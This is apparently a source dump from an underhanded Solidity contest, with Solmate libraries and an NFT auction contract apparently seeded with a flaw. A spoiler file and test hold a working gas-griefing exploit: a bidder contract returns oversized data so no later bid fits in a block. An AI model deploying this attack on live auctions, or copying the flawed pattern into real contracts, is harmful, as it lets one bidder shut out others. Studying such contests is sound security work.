ERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, data) ==
ERC721TokenReceiver.onERC721Received.selector,
"UNSAFE_RECIPIENT"
);
}
}
/// @notice A generic interface for a contract which properly accepts ERC721 tokens.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint256 id,
bytes calldata data
) external returns (bytes4);
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/tokens/WETH.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "./ERC20.sol";
import {SafeTransferLib} from "../utils/SafeTransferLib.sol";
/// @notice Minimalist and modern Wrapped Ether implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/WETH.sol)
/// @author Inspired by WETH9 (https://github.com/dapphub/ds-weth/blob/master/src/weth9.sol)
contract WETH is ERC20("Wrapped Ether", "WETH", 18) {
using SafeTransferLib for address;
event Deposit(address indexed from, uint256 amount);
event Withdrawal(address indexed to, uint256 amount);
function deposit() public payable virtual {
_mint(msg.sender, msg.value);
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint256 amount) public virtual {
_burn(msg.sender, amount);
emit Withdrawal(msg.sender, amount);
msg.sender.safeTransferETH(amount);
}
receive() external payable virtual {
deposit();
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/utils/Bytes32AddressLib.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Library for converting between addresses and bytes32 values.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/Bytes32AddressLib.sol)
library Bytes32AddressLib {
function fromLast20Bytes(bytes32 bytesValue) internal pure returns (address) {
return address(uint160(uint256(bytesValue)));
}
function fillLast12Bytes(address addressValue) internal pure returns (bytes32) {
return bytes32(bytes20(addressValue));
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/utils/CREATE3.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {Bytes32AddressLib} from "./Bytes32AddressLib.sol";
/// @notice Deploy to deterministic addresses without an initcode factor.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/CREATE3.sol)
/// @author Modified from 0xSequence (https://github.com/0xSequence/create3/blob/master/contracts/Create3.sol)
library CREATE3 {
using Bytes32AddressLib for bytes32;
//--------------------------------------------------------------------------------//
// Opcode | Opcode + Arguments | Description | Stack View //
//--------------------------------------------------------------------------------//
// 0x36 | 0x36 | CALLDATASIZE | size //
// 0x3d | 0x3d | RETURNDATASIZE | 0 size //
// 0x3d | 0x3d | RETURNDATASIZE | 0 0 size //
// 0x37 | 0x37 | CALLDATACOPY | //
// 0x36 | 0x36 | CALLDATASIZE | size //
// 0x3d | 0x3d | RETURNDATASIZE | 0 size //
// 0x34 | 0x34 | CALLVALUE | value 0 size //
// 0xf0 | 0xf0 | CREATE | newContract //
//--------------------------------------------------------------------------------//
// Opcode | Opcode + Arguments | Description | Stack View //
//--------------------------------------------------------------------------------//
// 0x67 | 0x67XXXXXXXXXXXXXXXX | PUSH8 bytecode | bytecode //
// 0x3d | 0x3d | RETURNDATASIZE | 0 bytecode //
// 0x52 | 0x52 | MSTORE | //
// 0x60 | 0x6008 | PUSH1 08 | 8 //
// 0x60 | 0x6018 | PUSH1 18 | 24 8 //
// 0xf3 | 0xf3 | RETURN | //
//--------------------------------------------------------------------------------//
bytes internal constant PROXY_BYTECODE = hex"67_36_3d_3d_37_36_3d_34_f0_3d_52_60_08_60_18_f3";
bytes32 internal constant PROXY_BYTECODE_HASH = keccak256(PROXY_BYTECODE);
function deploy(
bytes32 salt,
bytes memory creationCode,
uint256 value
) internal returns (address deployed) {
bytes memory proxyChildBytecode = PROXY_BYTECODE;
address proxy;
assembly {
// Deploy a new contract with our pre-made bytecode via CREATE2.
// We start 32 bytes into the code to avoid copying the byte length.
proxy := create2(0, add(proxyChildBytecode, 32), mload(proxyChildBytecode), salt)
}
require(proxy != address(0), "DEPLOYMENT_FAILED");
deployed = getDeployed(salt);
(bool success, ) = proxy.call{value: value}(creationCode);
require(success && deployed.code.length != 0, "INITIALIZATION_FAILED");
}
function getDeployed(bytes32 salt) internal view returns (address) {
address proxy = keccak256(
abi.encodePacked(
// Prefix:
bytes1(0xFF),
// Creator:
address(this),
// Salt:
salt,
// Bytecode hash:
PROXY_BYTECODE_HASH
)
).fromLast20Bytes();
return
keccak256(
abi.encodePacked(
// 0xd6 = 0xc0 (short RLP prefix) + 0x16 (length of: 0x94 ++ proxy ++ 0x01)
// 0x94 = 0x80 + 0x14 (0x14 = the length of an address, 20 bytes, in hex)
hex"d6_94",
proxy,
hex"01" // Nonce of the proxy contract (1)
)
).fromLast20Bytes();
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/utils/FixedPointMathLib.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Arithmetic library with operations for fixed-point numbers.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol)
library FixedPointMathLib {
/*///////////////////////////////////////////////////////////////
COMMON BASE UNITS
//////////////////////////////////////////////////////////////*/
uint256 internal constant YAD = 1e8;
uint256 internal constant WAD = 1e18;
uint256 internal constant RAY = 1e27;
uint256 internal constant RAD = 1e45;
/*///////////////////////////////////////////////////////////////
FIXED POINT OPERATIONS
//////////////////////////////////////////////////////////////*/
function fmul(
uint256 x,
uint256 y,
uint256 baseUnit
) internal pure returns (uint256 z) {
assembly {
// Store x * y in z for now.
z := mul(x, y)
// Equivalent to require(x == 0 || (x * y) / x == y)
if iszero(or(iszero(x), eq(div(z, x), y))) {
revert(0, 0)
}
// If baseUnit is zero this will return zero instead of reverting.
z := div(z, baseUnit)
}
}
function fdiv(
uint256 x,
uint256 y,
uint256 baseUnit
) internal pure returns (uint256 z) {
assembly {
// Store x * baseUnit in z for now.
z := mul(x, baseUnit)
// Equivalent to require(y != 0 && (x == 0 || (x * baseUnit) / x == baseUnit))
if iszero(and(iszero(iszero(y)), or(iszero(x), eq(div(z, x), baseUnit)))) {
revert(0, 0)
}
// We ensure y is not zero above, so there is never division by zero here.
z := div(z, y)
}
}
function fpow(
uint256 x,
uint256 n,
uint256 baseUnit
) internal pure returns (uint256 z) {
assembly {
switch x
case 0 {
switch n
case 0 {
// 0 ** 0 = 1
z := baseUnit
}
default {
// 0 ** n = 0
z := 0
}
}
default {
switch mod(n, 2)
case 0 {
// If n is even, store baseUnit in z for now.
z := baseUnit
}
default {
// If n is odd, store x in z for now.
z := x
}
// Shifting right by 1 is like dividing by 2.
let half := shr(1, baseUnit)
for {
// Shift n right by 1 before looping to halve it.
n := shr(1, n)
} n {
// Shift n right by 1 each iteration to halve it.
n := shr(1, n)
} {
// Revert immediately if x ** 2 would overflow.
// Equivalent to iszero(eq(div(xx, x), x)) here.
if shr(128, x) {
revert(0, 0)
}
// Store x squared.
let xx := mul(x, x)
// Round to the nearest number.
let xxRound := add(xx, half)
// Revert if xx + half overflowed.
if lt(xxRound, xx) {
revert(0, 0)
}
// Set x to scaled xxRound.
x := div(xxRound, baseUnit)
// If n is even:
if mod(n, 2) {
// Compute z * x.
let zx := mul(z, x)
// If z * x overflowed:
if iszero(eq(div(zx, x), z)) {
// Revert if x is non-zero.
if iszero(iszero(x)) {
revert(0, 0)
}
}
// Round to the nearest number.
let zxRound := add(zx, half)
// Revert if zx + half overflowed.
if lt(zxRound, zx) {
revert(0, 0)
}
// Return properly scaled zxRound.
z := div(zxRound, baseUnit)
}
}
}
}
}
/*///////////////////////////////////////////////////////////////
GENERAL NUMBER UTILITIES
//////////////////////////////////////////////////////////////*/
function sqrt(uint256 x) internal pure returns (uint256 z) {
assembly {
// Start off with z at 1.
z := 1
// Used below to help find a nearby power of 2.
let y := x
// Find the lowest power of 2 that is at least sqrt(x).
if iszero(lt(y, 0x100000000000000000000000000000000)) {
y := shr(128, y) // Like dividing by 2 ** 128.
z := shl(64, z)
}
if iszero(lt(y, 0x10000000000000000)) {
y := shr(64, y) // Like dividing by 2 ** 64.
z := shl(32, z)
}
if iszero(lt(y, 0x100000000)) {
y := shr(32, y) // Like dividing by 2 ** 32.
z := shl(16, z)
}
if iszero(lt(y, 0x10000)) {
y := shr(16, y) // Like dividing by 2 ** 16.
z := shl(8, z)
}
if iszero(lt(y, 0x100)) {
y := shr(8, y) // Like dividing by 2 ** 8.
z := shl(4, z)
}
if iszero(lt(y, 0x10)) {
y := shr(4, y) // Like dividing by 2 ** 4.
z := shl(2, z)
}
if iszero(lt(y, 0x8)) {
// Equivalent to 2 ** z.
z := shl(1, z)
}
// Shifting right by 1 is like dividing by 2.
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
// Compute a rounded down version of z.
let zRoundDown := div(x, z)
// If zRoundDown is smaller, use it.
if lt(zRoundDown, z) {
z := zRoundDown
}
}
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/utils/ReentrancyGuard.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Gas optimized reentrancy protection for smart contracts.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/ReentrancyGuard.sol)
/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)
abstract contract ReentrancyGuard {
uint256 private reentrancyStatus = 1;
modifier nonReentrant() {
require(reentrancyStatus == 1, "REENTRANCY");
reentrancyStatus = 2;
_;
reentrancyStatus = 1;
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/utils/SSTORE2.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Read and write to persistent storage at a fraction of the cost.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SSTORE2.sol)
/// @author Modified from 0xSequence (https://github.com/0xSequence/sstore2/blob/master/contracts/SSTORE2.sol)
library SSTORE2 {
uint256 internal constant DATA_OFFSET = 1; // We skip the first byte as it's a STOP opcode to ensure the contract can't be called.
/*///////////////////////////////////////////////////////////////
WRITE LOGIC
//////////////////////////////////////////////////////////////*/
function write(bytes memory data) internal returns (address pointer) {
// Prefix the bytecode with a STOP opcode to ensure it cannot be called.
bytes memory runtimeCode = abi.encodePacked(hex"00", data);
bytes memory creationCode = abi.encodePacked(
//---------------------------------------------------------------------------------------------------------------//
// Opcode | Opcode + Arguments | Description | Stack View //
//---------------------------------------------------------------------------------------------------------------//
// 0x60 | 0x600B | PUSH1 11 | codeOffset //
// 0x59 | 0x59 | MSIZE | 0 codeOffset //
// 0x81 | 0x81 | DUP2 | codeOffset 0 codeOffset //
// 0x38 | 0x38 | CODESIZE | codeSize codeOffset 0 codeOffset //
// 0x03 | 0x03 | SUB | (codeSize - codeOffset) 0 codeOffset //
// 0x80 | 0x80 | DUP | (codeSize - codeOffset) (codeSize - codeOffset) 0 codeOffset //
// 0x92 | 0x92 | SWAP3 | codeOffset (codeSize - codeOffset) 0 (codeSize - codeOffset) //
// 0x59 | 0x59 | MSIZE | 0 codeOffset (codeSize - codeOffset) 0 (codeSize - codeOffset) //
// 0x39 | 0x39 | CODECOPY | 0 (codeSize - codeOffset) //
// 0xf3 | 0xf3 | RETURN | //
//---------------------------------------------------------------------------------------------------------------//
hex"60_0B_59_81_38_03_80_92_59_39_F3", // Returns all code in the contract except for the first 11 (0B in hex) bytes.
runtimeCode // The bytecode we want the contract to have after deployment. Capped at 1 byte less than the code size limit.
);
assembly {
// Deploy a new contract with the generated creation code.
// We start 32 bytes into the code to avoid copying the byte length.
pointer := create(0, add(creationCode, 32), mload(creationCode))
}
require(pointer != address(0), "DEPLOYMENT_FAILED");
}
/*///////////////////////////////////////////////////////////////
READ LOGIC
//////////////////////////////////////////////////////////////*/
function read(address pointer) internal view returns (bytes memory) {
return readBytecode(pointer, DATA_OFFSET, pointer.code.length - DATA_OFFSET);
}
function read(address pointer, uint256 start) internal view returns (bytes memory) {
start += DATA_OFFSET;
return readBytecode(pointer, start, pointer.code.length - start);
}
function read(
address pointer,
uint256 start,
uint256 end
) internal view returns (bytes memory) {
start += DATA_OFFSET;
end += DATA_OFFSET;
require(pointer.code.length >= end, "OUT_OF_BOUNDS");
return readBytecode(pointer, start, end - start);
}
/*///////////////////////////////////////////////////////////////
INTERNAL HELPER LOGIC
//////////////////////////////////////////////////////////////*/
function readBytecode(
address pointer,
uint256 start,
uint256 size
) private view returns (bytes memory data) {
assembly {
// Get a pointer to some free memory.
data := mload(0x40)
// Update the free memory pointer to prevent overriding our data.
// We use and(x, not(31)) as a cheaper equivalent to sub(x, mod(x, 32)).
// Adding 31 to size and running the result through the logic above ensures
// the memory pointer remains word-aligned, following the Solidity convention.
mstore(0x40, add(data, and(add(add(size, 32), 31), not(31))))
// Store the size of the data in the first 32 byte chunk of free memory.
mstore(data, size)
// Copy the code into memory right after the 32 bytes we used to store the size.
extcodecopy(pointer, add(data, 32), start, size)
}
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/utils/SafeCastLib.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Safe unsigned integer casting library that reverts on overflow.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeCastLib.sol)
/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeCast.sol)
library SafeCastLib {
function safeCastTo248(uint256 x) internal pure returns (uint248 y) {
require(x <= type(uint248).max);
y = uint248(x);
}
function safeCastTo128(uint256 x) internal pure returns (uint128 y) {
require(x <= type(uint128).max);
y = uint128(x);
}
function safeCastTo96(uint256 x) internal pure returns (uint96 y) {
require(x <= type(uint96).max);
y = uint96(x);
}
function safeCastTo64(uint256 x) internal pure returns (uint64 y) {
require(x <= type(uint64).max);
y = uint64(x);
}
function safeCastTo32(uint256 x) internal pure returns (uint32 y) {
require(x <= type(uint32).max);
y = uint32(x);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/utils/SafeTransferLib.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../tokens/ERC20.sol";
/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol)
/// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol)
/// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer.
library SafeTransferLib {
/*///////////////////////////////////////////////////////////////
ETH OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferETH(address to, uint256 amount) internal {
bool callStatus;
assembly {
// Transfer the ETH and store if it succeeded or not.
callStatus := call(gas(), to, amount, 0, 0, 0, 0)
}
require(callStatus, "ETH_TRANSFER_FAILED");
}
/*///////////////////////////////////////////////////////////////
ERC20 OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "from" argument.
mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 68), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 100 because the calldata length is 4 + 32 * 3.
callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FROM_FAILED");
}
function safeTransfer(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FAILED");
}
function safeApprove(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "APPROVE_FAILED");
}
/*///////////////////////////////////////////////////////////////
INTERNAL HELPER LOGIC
//////////////////////////////////////////////////////////////*/
function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) {
assembly {
// Get how many bytes the call returned.
let returnDataSize := returndatasize()
// If the call reverted:
if iszero(callStatus) {
// Copy the revert message into memory.
returndatacopy(0, 0, returnDataSize)
// Revert with the same message.
revert(0, returnDataSize)
}
switch returnDataSize
case 32 {
// Copy the return data into memory.
returndatacopy(0, 0, returnDataSize)
// Set success to whether it returned true.
success := iszero(iszero(mload(0)))
}
case 0 {
// There was no return data.
success := 1
}
default {
// It returned some malformed input.
success := 0
}
}
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/spoiler.md
================================================
KingOfAuction
=============
A bidder can block any other bid from succeeding by registering themselves as the highest and second highest bidder with the following simple contract:
```
contract C{
function youHaveBeenOutbid(uint newBid) external payable returns(bool) {
assembly{
return(0x0, 0x1a5000)
}
}
}
```
Why is that?
------------
Even though there is fixed amount of return data expected for `youHaveBeenOutbid`, the solidity compiler still moves the "free memory pointer" by the amount of return data it receives. That is even though that data is never read.
Hence the attacker tries to return as much data as possible within the 6 million gas. Changing the memory pointer itself is not the problem. However, the final `Bid` event that gets emitted requires a memory write. Now the `Auction` contract has to pay for the memory expansion. As the memory expansion costs are quadratic, the attacker can make the `bid()` execution as expensive as 34,696,239 gas (see provided tests). Hence, it can never be executed in the 30 million block gas limit.
Relevant Test Output (obtained using `forge test -vvvv`):
```
[34706581] ContractTest::testExample()
├─ [0] VM::deal(0xb4c79dab8f259c7aee6e5b2aa729821864227e84, 10000000000000000000)
│ └─ ← ()
├─ [34696239] Auction::bid{value: 2000000000000000000}()
│ ├─ [5833586] ContractTest::youHaveBeenOutbid{value: 1000000000000000000}(2000000000000000000)
│ │ └─ ← false
│ ├─ [5833586] ContractTest::youHaveBeenOutbid{value: 1000000000000000000}(2000000000000000000)
│ │ └─ ← false
│ ├─ emit Bid(newBid: 2000000000000000000)
│ └─ ← ()
└─ ← ()
```
What is there to gain?
----------------------
The attacker can get all their favorite NFTs for super cheap. As nobody else can bid. Super nice.
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/src/Auction.sol
================================================
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
interface IERC721 {
function transferFrom(address from, address to, uint256 tokenId) external;
}
interface Bidder{
function youHaveBeenOutbid(uint newBid) external payable returns (bool);
}
contract Auction{
address payable public secondHighestBidder;
address payable public highestBidder;
IERC721 public nft;
uint public id;
uint public lastBid;
uint public endOfAuction;
address payable public immutable donation = payable(0x165CD37b4C644C2921454429E7F9358d18A45e14);
event Bid(uint newBid);
function setup(IERC721 _nft, uint _id, uint minBid) public {
require(endOfAuction == 0);
nft = _nft;
id = _id;
nft.transferFrom(msg.sender, address(this), _id);
secondHighestBidder = payable(msg.sender);
highestBidder = payable(msg.sender);
endOfAuction = block.timestamp + 1 days;
lastBid = minBid;
}
// Make a bid, needs to be 10% higher than previous and even
function bid() external payable {
require(block.timestamp < endOfAuction);
endOfAuction = block.timestamp + 1 days;
require(msg.value >= lastBid * 11 / 10 && msg.value % 2 == 0);
address payable _secondHighestBidder = secondHighestBidder;
address payable _highestBidder = highestBidder;
lastBid = msg.value;
secondHighestBidder = _highestBidder;
_highestBidder = payable(msg.sender);
// Send Back Funds to previous Bidders
sendBack(_secondHighestBidder);
sendBack(_highestBidder);
// The events might be incorrectly ordered in case of reentrancy but that is fine
emit Bid(msg.value);
}
// Sends back funds to previous bidders
function sendBack(address payable target) internal{
uint amount = msg.value / 2;
// Notify the previous bidder
try Bidder(target).youHaveBeenOutbid{value: amount, gas: 6_000_000}(msg.value){}
catch{
// Try to send it back to EOAs
if(!target.send(amount)){
// We tried... Let's donate
donation.transfer(amount);
}
}
}
// Finish the auction by sending the NFT
function finish() external {
require(block.timestamp >= endOfAuction);
nft.transferFrom(address(this), highestBidder, id);
}
}
================================================
FILE: 2022/submissions_2022/submission12_HubertRitzdorf/src/test/Contract.t.sol
================================================
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
import "ds-test/test.sol";
import "../Auction.sol";
import "solmate/tokens/ERC721.sol";
interface CheatCodes {
function deal(address, uint) external;
}
contract NFT is ERC721{
constructor() ERC721("Test", "TST"){
}
function mint(uint id) public {
_mint(msg.sender, id);
}
function tokenURI(uint id) public view override returns(string memory){
}
}
contract ContractTest is DSTest {
CheatCodes cheats = CheatCodes(HEVM_ADDRESS);
Auction a;
NFT nft;
function setUp() public {
nft = new NFT();
nft.mint(1);
a = new Auction();
nft.approve(address(a), 1);
a.setup(IERC721(address(nft)), 1, 10**18);
}
function testExample() public {
cheats.deal(address(this), 10 * 10**18);
a.bid{value: 2 * 10**18}();
}
receive() external payable {
}
function youHaveBeenOutbid(uint newBid) external payable returns(bool) {
newBid;
assembly{
return(0x0, 0x1a5000)
}
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/README
================================================
UniswapV2 but better
--------------------
UniswapV2 is great. We made it even better:
- Overall reduced gas consumption
- Actual DEX only uses a single storage slot
- For single-pair swaps the Router is integrated with the pair, hence you don't need to interact with the Router and save significantly thanks to EIP-2929.
- Doesn't require approving the LP token before the burn
- Allows unbalanced addition of liquidity (who has tokens in perfect ratio?)
- LP Minting fees (as unbalaned minting is allowed) to prevent Just-in-Time liquidity
- New Error codes to reduce code size
- Streamlined the code by removing unnecessary checks
- Removed rarely used oracle
- Restricted to reasonable subset of ERC20 to simplify code
- No extra fees EVER
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/foundry.toml
================================================
[default]
src = 'src'
out = 'out'
libs = ['lib']
remappings = ['ds-test/=lib/ds-test/src/']
# See more config options https://github.com/gakonst/foundry/tree/master/config
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/ds-test/.gitignore
================================================
/.dapple
/build
/out
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/ds-test/LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
